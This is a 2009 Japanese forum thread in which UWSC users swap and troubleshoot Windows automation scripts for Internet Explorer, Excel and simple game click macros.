自動化ツールuwsc使いよ集まれ4

このエントリーをはてなブックマークに追加
1名無しさん@お腹いっぱい。
Windowsを自動化させるツールUWSC。
ttp://www.h7.dion.ne.jp/~umiumi/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

前スレ
自動化ツールuwsc使いよ集まれ3
http://pc11.2ch.net/test/read.cgi/software/1176677869/
2名無しさん@お腹いっぱい。:2009/03/02(月) 20:05:26 ID:7l99ta7h0
>>1
公式サイトとかちゃんと訂正すればいいのに
3名無しさん@お腹いっぱい。:2009/03/02(月) 21:27:21 ID:9PDTuTrY0
Windowsを自動化させるツールUWSC。
http://www.uwsc.info/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

前スレ
自動化ツールuwsc使いよ集まれ3
http://pc11.2ch.net/test/read.cgi/software/1176677869/

同様の機能を持ったフリーソフト

AutoIt
http://www.autoitscript.com/autoit3/

WindowController
http://chi.usamimi.info

AutoHotkey
http://www.autohotkey.com
http://pc11.2ch.net/test/read.cgi/software/1157043396/

こんなかんじ?
4名無しさん@お腹いっぱい。:2009/03/03(火) 18:02:08 ID:/b8Pmjb40
>>前スレ986 ( http://pc11.2ch.net/test/read.cgi/software/1176677869/986 )
クリックだとページ変遷が発生しないか?
a 要素の target 属性に _blank とか指定されてたら別だが
// 親要素が a の img 要素で src 属性値に特定の文字列が含まれるものをすべてクリック
// 変数 ie には対象の IE オブジェクトが代入されているものとする
DIM str = "http://〜〜〜/Apos/img/web/10174"
DIM imgelmlst = ie.Document.images
DIM imgelm, elm, i

FOR i=0 TO imgelmlst.length-1
  imgelm = imgelmlst.item(i)
  elm = imgelm.parentElement
  IF elm.tagName <> "A" THEN CONTINUE
  IFB POS(str, imgelm.src) THEN
    imgelm.click()
    //navigate_new_window(elm.href)
  ENDIF
NEXT


FUNCTION navigate_new_window(uri, iswait=FALSE)
  DIM ie = CREATEOLEOBJ("InternetExplorer.Application")

  ie.Visible = TRUE
  ie.Navigate(uri)
  RESULT = ie
  IF !iswait THEN EXIT

  REPEAT
    SLEEP(0.1)
  UNTIL !ie.Busy AND (ie.ReadyState = 4)
FEND
5名無しさん@お腹いっぱい。:2009/03/03(火) 22:00:52 ID:Qzu1epvm0
zip暗号では不足な用途で暗号化させるとしたら
AES256bit(無圧縮でも可)7-zip32.dll叩くのが一番簡単?
6名無しさん@お腹いっぱい。:2009/03/03(火) 22:30:36 ID:vm5EEjZv0
>>5
簡単の定義が人それぞれだと思うけど
復号化する時の汎用性とかを考えたら良い選択肢だと思うよ。

完成時にはソース見せてもらえると嬉しい
7名無しさん@お腹いっぱい。:2009/03/04(水) 08:36:31 ID:VY2/fRca0
シェアウェア化が痛すぎる…
8名無しさん@お腹いっぱい。:2009/03/04(水) 13:15:09 ID:gDPQebo/0
?
9名無しさん@お腹いっぱい。:2009/03/04(水) 16:44:28 ID:LtMPuC430
IE = CreateOLEObj("InternetExplorer.Application")
の行でたまに comエラーが出てしまいます
原因はなんでしょうか?
10名無しさん@お腹いっぱい。:2009/03/04(水) 22:44:16 ID:e9V9llDo0
連想配列の値に配列って設定できないの?

 hashtbl 連想配列
 dim 配列[] = "hoge", "piyo", "foo", "bar"
 連想配列["キー"] = 配列

とか。連想配列["キー"][0] とかで値を取り出したいんだけど…。
11名無しさん@お腹いっぱい。:2009/03/04(水) 23:07:07 ID:ys2pcLW80
>10
気持ちは判るw 是非多次元連想配列の要望を出してくれ…
12名無しさん@お腹いっぱい。:2009/03/04(水) 23:10:55 ID:e9V9llDo0
できないのか…(´・ω・`)ざんねん
13名無しさん@お腹いっぱい。:2009/03/04(水) 23:26:39 ID:ys2pcLW80
うーん >11と書いてみたものの、データを直打ちで配列宣言する場合は殆どないから、
例えばTAB区切りデータの分解作業を入れる時に行うか、出した時に行うかくらい
の違いだけのような気がしてきたw

>12
ちょっとググッてみたらPerlにはあるみたいですね。
14名無しさん@お腹いっぱい。:2009/03/05(木) 03:06:53 ID:+SmhvS7q0
ScriptControlを使って、VBScriptで関数書いて呼び出したくなりますね
15名無しさん@お腹いっぱい。:2009/03/05(木) 12:37:12 ID:EaCn0e5y0
>>4
動作確認しました。m(_ _)m
しかし、これできそうでできない・・・

ie.Document.imagesとかってヘルプとかに載ってないしみんなどこで
勉強してるんですか?本には、いくつかie.Document.○○みたい
なのが載ってましたが。

2年ぐらいやってますが全然思ったとおりの動作ができない('A`)
16名無しさん@お腹いっぱい。:2009/03/05(木) 13:17:43 ID:DySh1P490
>>15
WEBの自動化は殆どやらないから詳しくはないけれど、一応、下の公式の過去ログはPickupしてあるよ。
ttp://www3.bigcosmic.com/board/s/board.cgi?id=umiumi&mode=all&no=1076&log=ON&cnt=9
ttp://www3.bigcosmic.com/board/s/board.cgi?id=umiumi&mode=all&no=1451&log=ON&cnt=13
17名無しさん@お腹いっぱい。:2009/03/05(木) 18:14:40 ID:ZQFae9PN0
>>15
>>4 を貼った者ですが、どこら辺でコけたんでしょうか?

所謂 IE オブジェクトのメソッドとプロパティは
MSDN で IWebBrowser2 の項目から辿っています
ドキュメントの構造は Fx の Firebug で見てます
18名無しさん@お腹いっぱい。:2009/03/05(木) 21:11:25 ID:1LWRbfue0
>>15
周りに頼りきりなのに、しにうせろ、と書くような傲慢さがいやだなぁ…
19名無しさん@お腹いっぱい。:2009/03/05(木) 21:21:42 ID:EaCn0e5y0
>>17
前回の画像ではなくアドレスを回っていくやつから似たようなことできると
思ってましたが、変数の宣言からして全く違いました。

例えば"A"というのありますが、そうゆう発想すらなかったです。

>>18
死にうせろは、人によりますよw明らかに答える意志もないのに
馬鹿にしたことを言った場合のみです。答えたくなければスルー
すればいいのに。

今度このスレで「できますよ」が書き込まれたら「死にうせろ」と
いう書き込みをするスクリプトを作ってほしいね。

えっ?また頼るのかって?w お願いしますm(_ _)m
20名無しさん@お腹いっぱい。:2009/03/06(金) 00:58:29 ID:+CVUN/Ag0
できますか? -> できます
で、なにが不満なのかさっぱり分からない。
説明して欲しいなら、最初から出来ないので教えてくださいとでも書けばいい
21名無しさん@お腹いっぱい。:2009/03/06(金) 08:58:31 ID:759IdkdT0
>>19
とっとと しにうせやがれ
22名無しさん@お腹いっぱい。:2009/03/07(土) 02:03:17 ID:Qe+EoY5dO
ケータイからカキコ。
ケータイで入力できんからメール経由だけどパソコン用とケータイ用のアドレスが違うんよね。
アドレスを変換してケータイに送信できたらいいんだけど。
23yyZEvxbNuOOjjO:2009/03/07(土) 02:07:27 ID:4flKp1Lr0
24名無しさん@お腹いっぱい。:2009/03/12(木) 17:58:51 ID:htMiytqb0
質問です
2つのフレームになっているIEで2番目のフレームの文字列を取得したいのですが
どのようにすればいいのでしょうか?
25名無しさん@お腹いっぱい。:2009/03/12(木) 20:10:02 ID:f2vfu1VH0
>>24
私は、フレームのアドレスを個別に表示させて対処しました。
26名無しさん@お腹いっぱい。:2009/03/12(木) 22:54:26 ID:2ac77gz80
普通にframe呼べばいいんでない?
IE.Document.Frames(0).Document.innerText
IE.Document.Frames(1).Document.innerText
27名無しさん@お腹いっぱい。:2009/03/12(木) 22:57:31 ID:2ac77gz80
フレームが入れ子の時は
IE.Document.frames(0).frames(0).document〜
2824:2009/03/14(土) 00:06:29 ID:WW00fLfU0
>>25-27
thxです。>>26の方法で試みましたが今のところうまくいってません。スクリプト自体が
わかってないため仕方在りません。もう少し頑張ってみて突破口が見いだせなかったら
また質問させていただきます。
29名無しさん@お腹いっぱい。:2009/03/14(土) 12:30:12 ID:v6fI1qaH0
すみません a.txtというのを開くにはどうしたらいいのでしょう
exce でやっても開けません
30名無しさん@お腹いっぱい。:2009/03/14(土) 13:35:35 ID:nLOF2dl0P
execはあくまで「アプリケーションを実行する」のが目的なんです。
この場合の「開く」っていうのは
「テキストエディタを起動してその中でテキストファイルを表示させる」
っていう事になるので意味が違います。

普通、テキストエディタにファイル名をパラメータとして渡してあげるとそのテキストを開いてくれます。
ヘルプにはexecでパラメータをつけた場合の扱いは記述されていないのでDosCmdを使えば良さそうです。
詳細についてはヘルプでご確認ください。

ファイル名="<#DBL>C:\Users\youjo\Desktop\a.txt<#DBL>"
ノートパッド="notepad"
秀丸="<#DBL>C:\Program Files\Hidemaru\Hidemaru.exe<#DBL>"

DosCmd(ノートパッド + " " + ファイル名, TRUE)
DosCmd(秀丸 + " " + ファイル名, TRUE)

31名無しさん@お腹いっぱい。:2009/03/15(日) 14:15:45 ID:MJ0s+kkcO
規制の為、携帯から失礼します。

色判定の事で質問させてください。
決まった色で判定する事はできるようになったのですが、処理のたびに微妙に色が変わってしまうため、だいたたい黄色っぽい という風に判定したいのですが、どうしても理解する事ができません。
もしよろしければご教授いただけないでしょうか?
32名無しさん@お腹いっぱい。:2009/03/15(日) 14:48:41 ID:KaKZ97Wt0
>>31
UBTrek (掲示板最下部) で peekcolor で検索すると沢山ヒットしました。サンプルも掲載されています。

1165 件中 / 20件
1128 バックグラウンド 
1041 色判定の範囲 
0951 ファイルの取得 
0899 神経衰弱プログラム(トランプではなく絵) 
0734 あ 
0691 条件判断書式 
0651 色判定 
0645 多重定義回避 
0598 非アクティブウィンドウに対してのキー操作 
0379 範囲について。 
0264 peekcolor関数 
0184 Peekcolor 
0100 peekcolor 
0058 質問があります 
0031 画面のプロパティー 
0027 peekcolor 
0026 ヘルプファイル添付のスクリプト 
0024 UWSCのスクリプトについて 
0011 最小化状態のウィンドウ 
0003 select文で 

検索でHitしたw しかしなんでPeekColorとかChkimgとか使いたがるんだろう?
あくまで最終手段だと思うんだけど…
33名無しさん@お腹いっぱい。:2009/03/15(日) 17:58:58 ID:IZMSH5U20
そりゃおまえさん…
外部ツールとして使うためだよ。
34名無しさん@お腹いっぱい。:2009/03/15(日) 20:58:13 ID:Ml9cDsd/0
UBTrek使ってみたいんだけど、何を検索しても
>0 件中 / 0件
ってなるんだけど。何かやり方が間違ってるのかな?

環境
・Vista Business
・IE7 タブモード
・UWSC Ver4.5
・画面遷移がログを取得せずに終わってるように見える
・アンチウィルスソフト切ってもだめ
35名無しさん@お腹いっぱい。:2009/03/15(日) 23:40:24 ID:KaKZ97Wt0
>>33
外部ツール?
フル画面のゲームとかならともかく、普通の窓のあるアプリなら色、イメージで確実性が増すように
細工してる暇があったら他の方法探した方が早くて確実ってことを言いたかっただけなんだけど…
36名無しさん@お腹いっぱい。:2009/03/15(日) 23:45:08 ID:IZMSH5U20
>>35
ちょっと前にゲームの画像認識で話題になったんだよ。このツール。
もちろん、通信を解析して行動する方が確実だけど。
汎用性は高いと思うんだ、このツールは。
37名無しさん@お腹いっぱい。:2009/03/16(月) 00:00:27 ID:Qk5ZfeY50
uwscでエクセルを開いて指定のシートを開きたいのですがどうすればいいのでしょうか

よろしくお願いします
38名無しさん@お腹いっぱい。:2009/03/16(月) 01:36:12 ID:BkAbLvKa0
>>36
ああ、ナルホド。そっち系の話ですか…
興味ないから判らんけど、それ用途ならAHKの方が向いてない?
39名無しさん@お腹いっぱい。:2009/03/16(月) 01:41:10 ID:BkAbLvKa0
40名無しさん@お腹いっぱい。:2009/03/16(月) 09:45:22 ID:Qk5ZfeY50
>>39
ちょ それVBAw
41名無しさん@お腹いっぱい。:2009/03/16(月) 11:37:57 ID:5PpK2M3mO
COM操作でVBAとの違いは無い
ためしてみな
42名無しさん@お腹いっぱい。:2009/03/16(月) 21:16:43 ID:Qk5ZfeY50
fopen("D:\Mydocumment\abc.xls")
で開かないんだけど何ででしょうか?
43名無しさん@お腹いっぱい。:2009/03/16(月) 21:31:30 ID:TqPC0VEm0
>>42
>>30みたくExcelのパスとファイル名指定でいけるんじゃ?
44名無しさん@お腹いっぱい。:2009/03/16(月) 21:34:26 ID:TqPC0VEm0
Excel = CreateOLEObj("Excel.Application") // Excelの操作
Excel.Visible = True
Excel.WorkBooks.Open(FileName :="C:\Documents and Settings\a\abc.xls", readOnly :=False) //エクセルファイルを開く
45名無しさん@お腹いっぱい。:2009/03/16(月) 21:36:13 ID:Qk5ZfeY50
ID:TqPC0VEm0 さん ありがとう
敷居が高いねuwscは ネットで調べても関数が全部乗ってなくて困る
ヘルプは分けわかめだし
46名無しさん@お腹いっぱい。:2009/03/16(月) 21:38:49 ID:6Ib1sm5X0
RAPEAT関数で終わりのUNTILに表示画面のアドレスのあるなしで
判断しようとしてるのですが、うまくいきません。

UNTIL POS("http://URL", IE.document.links[A].href) < 0

リンクのアドレスで判断しようとしたのが上ですが、どこが悪いのでしょうか?
47名無しさん@お腹いっぱい。:2009/03/16(月) 21:42:51 ID:TqPC0VEm0
>>45
Googleで「UWSC Excel エクセルファイルを開く」とかいう具合に「UWSC」をつけて検索すると結構でてくるよ
48名無しさん@お腹いっぱい。:2009/03/16(月) 22:32:48 ID:Qk5ZfeY50
本買って勉強したらだいぶ理解できるようになった
本家にこの本の中身丸ごとコピっておいてくれれば・・・
49名無しさん@お腹いっぱい。:2009/03/16(月) 23:49:24 ID:TqPC0VEm0
はじめの一歩をやるときは本を買うのが手っ取り早いね
はじめはなんていってもなにで検索したら応えに辿り着けるかもわかんないから
50名無しさん@お腹いっぱい。:2009/03/19(木) 15:38:36 ID:qhvpuXrj0
body = IEGetSrc(IE, "BODY")
body = Copy(body, Pos("<SMALL>日付</SMALL>",body), 999999) // 取得開始位置
body = Copy(body, 1, Pos("</TBODY>",body)) // 取得終了位置
body = ChgMoj(body, "<B>", "") // 邪魔なタグ
body = ChgMoj(body, "</B>", "")
dim sdat[7]
y = 0
While True
  for x = 1 to 7 // 列
sdat[x] = BetweenStr(body, "<SMALL>", "</SMALL>", y*7+x)
if sdat[x] = EMPTY then break 2
  next
y = y + 1
XLSETDATA(Excel, sdat, "A"+y) // 行単位で設定
Wend

これワケわかめ
51名無しさん@お腹いっぱい。:2009/03/19(木) 16:14:32 ID:78bA8AOX0
これの解説書って
windowsマクロテクニックのことでしょうか?
他にもお勧めあったら教えていただきたい
52名無しさん@お腹いっぱい。:2009/03/20(金) 01:14:08 ID:2vqtVJvk0
見たこともないからアレだけど、本を読むくらいならこれのヘルプのサンプルを
順にやって見た方が早い気がするなぁ。
ヘルプ、M$のヘルプなんかに比べて遥かに判りやすいと思うよ…
それをやって感じが判れば、後は公式のログ調べればヤリタイことの類似のサンプルは豊富にあるし。
53名無しさん@お腹いっぱい。:2009/03/20(金) 01:44:56 ID:DsntF0Wn0
ちんぷんかんぷんなら本買った方がいいかもしれないよ
54名無しさん@お腹いっぱい。:2009/03/20(金) 20:43:31 ID:2bPMwjVn0
>>52
まぁ、、もともとの下地の量にも依るんだと思うよ。
ワードくらいでエクセルは家計簿しかつけたことがないとかだとヘルプは見ても分からない…
55名無しさん@お腹いっぱい。:2009/03/21(土) 18:57:36 ID:0gCxJ8aB0
確かに、命令文を書いてそれを実行させるということをしたことがない人間には訳が分からないかもしれない。
CでもVBでも何でもいいが、まずはマニュアル本の手順通りやってみて体験することは重要だと思う。
56名無しさん@お腹いっぱい。:2009/03/21(土) 20:04:15 ID:RJeHjNlr0
>>54
そりゃそうだ。
Excelやったことあります。程度の人に
いきなりVBAマクロ作れっていうようなもんだからな。

それなりに敷居が高いのはしょうがない
57横レス:2009/03/21(土) 21:23:13 ID:bilBjxKS0
>>56
スクリプト系なら余計な前提知識がないほうがかえってはやそう

by 文字型と数値型どこ?だの実行効率どうとかコードの再利用だの今思うとどーでもいいことに迷ってた漏れ
58名無しさん@お腹いっぱい。:2009/03/22(日) 01:14:19 ID:Sv/Mv62F0
>>56
Excelのマクロを触ったことさえあれば、VBSに行くよりは敷居低いような…
で、これからcom経由で間借りするのは比較的楽だったり…
59名無しさん@お腹いっぱい。:2009/03/22(日) 20:51:42 ID:t0gd/KIy0
>>57
コードをそのまま再利用しようなんてのは普通のプログラム言語にまかせて
違った利用方法には断片から再構成するのがスクリプト方式なんだよね
60名無しさん@お腹いっぱい。:2009/03/23(月) 19:29:22 ID:Cm/UBSMR0
>>59
めんどくさく書いたのに結局使いまわせなくて無意味だったりするんだよね

だったら割り切って簡単さ優先のほうがいい
なら構造化までで十分だしオブジェクト指向以降は邪魔なだけ
61名無しさん@お腹いっぱい。:2009/03/25(水) 18:56:29 ID:uoklUH0P0
質問です。IEtoExcel.uwsなんですけど
body = Copy(body, 1, Pos("</TBODY>",body)) // 取得終了位置
なぜこれで取得終了位置が決定できるのですか?

1文字目からPos("</TBODY>",body)文字目までってのがよくわからないのですが
62名無しさん@お腹いっぱい。:2009/03/25(水) 22:11:18 ID:VLYJF0HH0
>>61
そこだけ抜き出ても誰も即答できんよ…

body = IEGetSrc(IE, "BODY")
print body
body = Copy(body, Pos("<SMALL>日付</SMALL>",body), 999999) // 取得開始位置
print body
body = Copy(body, 1, Pos("</TBODY>",body)) // 取得終了位置
print body

とログ取ってみれば理解できると思うけど?(自分ではやってみていないがw)
63名無しさん@お腹いっぱい。:2009/03/25(水) 22:18:25 ID:ykXGJViE0
>>61
Copyって関数とPosって関数の二つを使っているんだよ

■Copy
コピー結果文字=Copy(コピー前文字, 開始位置, 終了位置)

コピー前文字="ABCDE"
開始位置=2
終了位置=3
コピー結果文字="BC"


■Pos
位置を表す数=Pos(検索文字, 検索元の文字)

検索元の文字="ABCDE"
検索文字="D"
位置を表す数=4


つまり、bodyって変数の中にIEで取得したページの
<TBODY>〜</TBODY>の<TBODY>以降「〜</TBODY>」が
入ってるから、末尾の</TBODY>までの「〜」部分を
取り出している
64名無しさん@お腹いっぱい。:2009/03/27(金) 10:31:09 ID:AcxgdDaV0
Pro版でexe化したらAlt+F2で停止しなくなったんだけどこれ何?
65名無しさん@お腹いっぱい。:2009/03/27(金) 18:02:15 ID:GuzBvoGh0
当たり前です。
66名無しさん@お腹いっぱい。:2009/03/27(金) 19:12:27 ID:lMvlwR450
特定のボタン押したときに停止する命令入れない人って…
67名無しさん@お腹いっぱい。:2009/03/27(金) 19:46:58 ID:dvwsWJKV0
全くのUWSC初心者なのですが、初めから丁寧に説明してくれてるサイトとかありますか?
自分でスクリプト作ってみたいと思ってます。
68名無しさん@お腹いっぱい。:2009/03/27(金) 20:12:35 ID:fVsO9M+W0
IEGETDATA/IESETDATAって対象フレーム指定できる?

frameはやっぱりDocumentプロパティからがりがりいじるしかないの?
69名無しさん@お腹いっぱい。:2009/03/27(金) 20:33:28 ID:fVsO9M+W0
>>67
漏れ中級者(66みたいにわからないことはあり)ですけど
uwscは仕様もヘルプも人間に優しいので
ヘルプのスクリプト→スクリプト関数→ウインドウ関連→GETIDの最後の「例)」のリンク先に
サンプルが大量にあるのを写して実行させればよいのでは?
あとはトライ&エラーで大丈夫かと
70名無しさん@お腹いっぱい。:2009/03/27(金) 20:50:01 ID:dvwsWJKV0
>>69
レスありがとうございます。
一通り目を通してみますね。
71名無しさん@お腹いっぱい。:2009/03/28(土) 00:39:06 ID:CJN0OekI0
ページの表示待ちで質問があります。

IE = CREATEOLEOBJ("InternetExplorer.Application")
IE.visible = True
IE.navigate("http://○○○○○")
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate=4

これがページの表示が終わるまでは待つスクリプトだと思うのですが
○○○○○の箇所が毎回ランダムに変わる場合
どのようにスクリプトを組めばいいのかわかりません。

数種類のアドレスだけなら○○○○○の場所に数種類分のアドレスを入れればいいのですが
ランダム英数字なので、自作のスクリプトに、上のスクリプトを追加してたらキリがないのです。
○○○○○の場所が変わってもアクティブなIEウィンドウの表示待ちをしてくれる便利なスクリプトは無いものでしょうか?

説明が下手で申し訳ありません。








72名無しさん@お腹いっぱい。:2009/03/28(土) 01:08:30 ID:imhwk0EW0
>>71
>UNTIL !IE.busy AND IE.readystate=4
ページ表示の完了を待つ部分はここだけ。

ランダムなURLを自動取得する部分を書かないと、同じことだけどな。
73名無しさん@お腹いっぱい。:2009/03/30(月) 14:11:23 ID:bJqod+xu0
IEの画像表示を切っているときでも、特定の画像だけ表示することはどうやれば実現できますか?
手動のIEだとコンテキストメニューで画像の表示をやればできますが、それを直接やる方法など。
74名無しさん@お腹いっぱい。:2009/03/31(火) 03:16:16 ID:uj3sv1g20
2009/03/31 UWSC Ver4.5a、 Pro版と Free版をリリースしました。
75名無しさん@お腹いっぱい。:2009/03/31(火) 10:32:20 ID:gAjYRmVT0
DLLに配列が使えるようになったみたいだね
76名無しさん@お腹いっぱい。:2009/04/01(水) 19:38:02 ID:ORgiq0uE0
FOPEN("○○.○",F_READ or F_WRITE)でappendオープンとほぼ同等になるのか・・・
(前の部分も書き換えようと思えばできるから厳密に同じじゃないけど)

素直にF_APPENDフラグつけてほしい
77名無しさん@お腹いっぱい。:2009/04/01(水) 20:22:58 ID:LeFjj7N90
なんでorなんだろうな…そこはandだろ…
78名無しさん@お腹いっぱい。:2009/04/02(木) 01:27:10 ID:/AIiEOlh0
ぜんぜん
79名無しさん@お腹いっぱい。:2009/04/04(土) 21:44:58 ID:/d+v7qoR0
IPアドレスをワンクリックで変えるために下記のスクリプトを書きましたが、ページの読
み込み完了まで待ってくれなくてどうもうまくいきません。どこが悪いのでしょうか?


//CREATEOLEOBJで生成
IE = CREATEOLEOBJ("InternetExplorer.Application")
//IE可視化
IE.visible = True
//URLジャンプ
IE.navigate("https://ctu.fletsnet.com/CtuC101/init.do")
//ロード完了まで待つ
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate = 4

id = GETID("CTU設定 - Windows Internet Explorer", "IEFrame", -1)

CLKITEM(id, "ログイン", CLK_ACC)

//ロード完了まで待つ
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate = 4

CLKITEM(id, "切断", CLK_ACC)

//ロード完了まで待つ
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate = 4

CLKITEM(id, "接続", CLK_ACC)
8079:2009/04/04(土) 21:49:47 ID:/d+v7qoR0
すみませんUWSC掲示板というものを見つけたので、そちらにも書かせていただきました
81名無しさん@お腹いっぱい。:2009/04/04(土) 22:31:42 ID:5o+P8JM70
>>79スクリプト自体は別におかしくない
サイトの作りでIE.busyとIE.readystateがうまく遷移しないんじゃない?
テキトーにSLEEP(5)してみるとか
8279:2009/04/05(日) 01:07:09 ID:506pPYQi0
>>81
UWSC掲示板にて有志の方に下記の記述を教えていただきまして、
実行したところまったく問題なく稼動するようになりました。

おそらくSLEEPでもうまくいくと思います。ありがとうございました。

WHILE !IE.busy AND IE.readystate = 4; sleep(0.05); WEND
REPEAT; SLEEP(0.1); UNTIL !IE.busy AND IE.readystate = 4
83名無しさん@お腹いっぱい。:2009/04/08(水) 04:14:05 ID:/k0QiX7S0
申し訳ないのですが質問させてください
あるネットゲームで左クリックだけをおよそ10秒ごとにクリックさせておきたいのですが
それ自体はできたのですが、これをウィンドウをアクティブにしない状態(いわゆる裏マクロ)でずっと動作させておくにはどうしたらいいでしょうか?

ACW(GETID("ネットゲーム名","SFMainWindow"),0,0,1686,1077,0)
while TRUE
BTN(LEFT,CLICK,)
sleep(10.6+random(0))
wend

ACWが原因なのはわかったのですが、単純にそこを消せばいいだけという事は無いみたいで困っています、どうか宜しくお願いします
84名無しさん@お腹いっぱい。:2009/04/08(水) 04:55:25 ID:fwJAXoMx0
>>83
無理。
普通のWindowsアプリなら別の方法で裏で操作できるけど、
キー・マウス必須なゲームではそういうことはできない。
WindowsAPIでならやれなくもないかもしれないけど低レベルな操作ができるやつじゃないと無理。

ttp://scripts.web.fc2.com/VMware/
こんな感じで仮想マシンでゲームを動かし、その中でマクロすればずっと裏で動作する。
そのページで紹介してるのはホストからゲストを操作するやつで裏で動作するわけじゃないけど。
ちなみに、今のVMware Workstation6.5なら3D使うのは設定画面でチェック入れるだけ。

でも仮想はやっぱりグラフィックが重いから、少々非力でも別のパソコン用意したほうがいいけどね。
85名無しさん@お腹いっぱい。:2009/04/08(水) 05:15:36 ID:/k0QiX7S0
>84
三国志オンラインというネットゲーですと下のような感じで裏マクロにさせておく事ができたのですが
コレの応用とかでなんとかできないのでしょうか?

77 :ネトゲ廃人@名無し[sage]:2008/03/30(日) 02:26:21 ID:???
ググってもヘルプ見てもわからない人用
裏マクロサンプル

wnd_id = GETID("ここに実行させたいウィンドウ名") //ウィンドウ名の一部でもOK
ifb wnd_id = -1 then
MSGBOX("MMO名が起動していません")
exitexit
endif
MOUSEORG(wnd_id, 2)
while TRUE
Kbd(VK_8,CLICK,3) //定期的に実行したいキーの指定、この場合8を押す。
sleep(36+random(15)) //ここの数字を変えると待機時間を変更できる。現在は36秒+15秒までランダム
wend
86名無しさん@お腹いっぱい。:2009/04/08(水) 05:44:52 ID:fwJAXoMx0
>>85
アプリケーションに直接送るには対応してないのが多いんだよね。
多分DirectInputとかいうのつかってるやつには使えないんだと思う。
知らないけど。
87名無しさん@お腹いっぱい。:2009/04/10(金) 10:46:50 ID:PbtivxSj0
マクロ実行中に、キー操作などで、マクロを強制的にとめることは出来ますか?
88名無しさん@お腹いっぱい。:2009/04/10(金) 13:23:35 ID:BPKFh7I00
>>87
それくらいはヘルプ読んでくれ
89名無しさん@お腹いっぱい。:2009/04/13(月) 11:05:31 ID:wzr692Rz0
IEをタブブラウザとして使用していて、指定の複数のページを開くようにしたいのですが、
以下(次のレス)の記述だと、アドレス欄にアドレスを貼り付けるのに失敗して、空白タブのままになる場合がたまにあります。
新しいタブを開いてからアドレス欄にアドレスを貼り付けるまでのウェイト(28行目)を長くしても同じでした。

どのように記述すればそういった問題なくIEで複数のページが開けるでしょうか?
一番いいのは、シーケンス的な処理なしにIEにアドレス渡すだけってやり方なんですが……。

IEの「タブ ブラウズの設定」は以下のようにしてます。
・「タブ ブラウズを有効にする」にチェック。
・「新しいタブの作成時には常に新しいタブへ移動する」にチェック。
・「クイック タブを有効にする」にチェック。
・「現在のタブの隣に新しいタブを開く」にチェック。
90名無しさん@お腹いっぱい。:2009/04/13(月) 11:06:21 ID:wzr692Rz0
// IEの宣言(?)
Ie = CREATEOLEOBJ( "InternetExplorer.Application")
Ie.visible = TRUE

// IEを起動する
Ie.navigate( "http://www.yahoo.co.jp/")

// IEのウィンドウIDを取得
IeId = GETID( "Internet Explorer")

// IEのウィンドウを最大化する
CTRLWIN( IeId, MAX)
SLEEP( 1)

// マウスカーソル退避
MMV( 1, 1)
SLEEP( 1)

DIM Address[3]
Address[1] = "http://www.infoseek.co.jp/"
Address[2] = "http://www.google.co.jp/"
Address[3] = "http://www.goo.ne.jp/"
91名無しさん@お腹いっぱい。:2009/04/13(月) 11:08:39 ID:wzr692Rz0
FOR i = 1 TO 3

    // 新しいタブを開く
    SCKEY( IeId, VK_CONTROL, VK_T)
    SLEEP( 3)

    SENDSTR( IeId, Address[i], 2, TRUE, TRUE)
    SLEEP( 1)
    SCKEY( IeId, VK_RETURN)
    Ie_Wait( IeId)
NEXT

PROCEDURE Ie_Wait( Id)
    i = 0
    j = 0
    REPEAT
        SLEEP( 1)
        IFB GETSTR( Id, 1, STR_STATUS) = "ページが表示されました"
            i = i + 1
        ELSE
            i = 0
        ENDIF
        j = j + 1
    UNTIL ( i >= 3) OR ( j >= 20)
FEND
92名無しさん@お腹いっぱい。:2009/04/14(火) 00:17:40 ID:TCCc8Omk0
>Ie = CREATEOLEOBJ( "InternetExplorer.Application")
↑これには時間がかかるが、起動完了を待ってない。が、待つ必要もない。

>Ie.navigate( "http://www.yahoo.co.jp/")
↑これにも時間がかかるが、待ってない。
SLEEP()があるにはあるが、効果がまちまち

> DIM Address[3]
> Address[1] = "http://www.infoseek.co.jp/"
配列を1から使っているが、UWSCの配列はこの場合0から3まで
まあ
>FOR i = 1 TO 3
0を飛ばして使ってるから問題はない

>どのように記述すればそういった問題なくIEで複数のページが開けるでしょうか?
SENDSTR() + SCKEY() でのページ移動をやめて
Ie.navigate( "http://www.yahoo.co.jp/") を使えばいい。
ほぼ確実にできるようになる。

うまくいかない原因は多分 Ie_Wait( IeId)
IEの操作ではよくある質問だけど、Navigateのあと待ちループをスルーすることがある。
キーEnter直後にはまだ前回の表示完了のメッセージが残ってるとか。
アドレスを入れる前にこのメッセージを消しておけば素通りはしなくなる。
93名無しさん@お腹いっぱい。:2009/04/14(火) 08:53:44 ID:i3CXPBbq0
ie上のFLASHでログインから作りこまれているサイトを操作したいのですが
ヘルプと多少のググリではヒントが得られませんでした。
ご存知の型いらっしゃいましたらひんとぷりーずです
94名無しさん@お腹いっぱい。:2009/04/14(火) 09:23:50 ID:/l9xSbch0
>>93
シェアウェア版のuwscにflash操作のサンプルスクリプト付いてるから見てみるといいよ
95名無しさん@お腹いっぱい。:2009/04/14(火) 11:04:54 ID:i3CXPBbq0
>>94
速レス多謝れす
96名無しさん@お腹いっぱい。:2009/04/14(火) 19:18:25 ID:msqZMedl0
アクティブウインドウ内の相対座標で操作したいのですがうまくいきません。
それ用のコマンドでもありますか?
97名無しさん@お腹いっぱい。:2009/04/14(火) 20:01:48 ID:QZ5xehbb0
STOPFORM(FALSE)でストップ窓出さないスクリプト実行中に
他のスクリプト多重起動できる?



-------
しかしかゆいところに手が届く言語仕様は本当に癒されるなぁ
わざわざ家で他言語のわけわかんない仕様と格闘したくないっちゅーねん
98名無しさん@お腹いっぱい。:2009/04/14(火) 20:31:54 ID:/l9xSbch0
>>96
mouseorg
99名無しさん@お腹いっぱい。:2009/04/14(火) 20:35:32 ID:mW/kK8aF0
>>97
<UWSC.INI>
NotMultiplex = スクリプト実行の多重起動を制限します (ファイルの関連付等からの実行)
0:制限なし、 1:一つのみ、 2:二つまで (数はUWSC本体も含む)
-9:制限なし、 -1:一つのみ、 -2:二つまで (マイナス値を付けた場合には '多重起動禁止'のダイアログは出ません)
100名無しさん@お腹いっぱい。:2009/04/14(火) 20:48:45 ID:msqZMedl0
>>98
アリガトー
10189:2009/04/14(火) 20:52:08 ID:jYCCUEGB0
>>92
回答ありがとうございます。

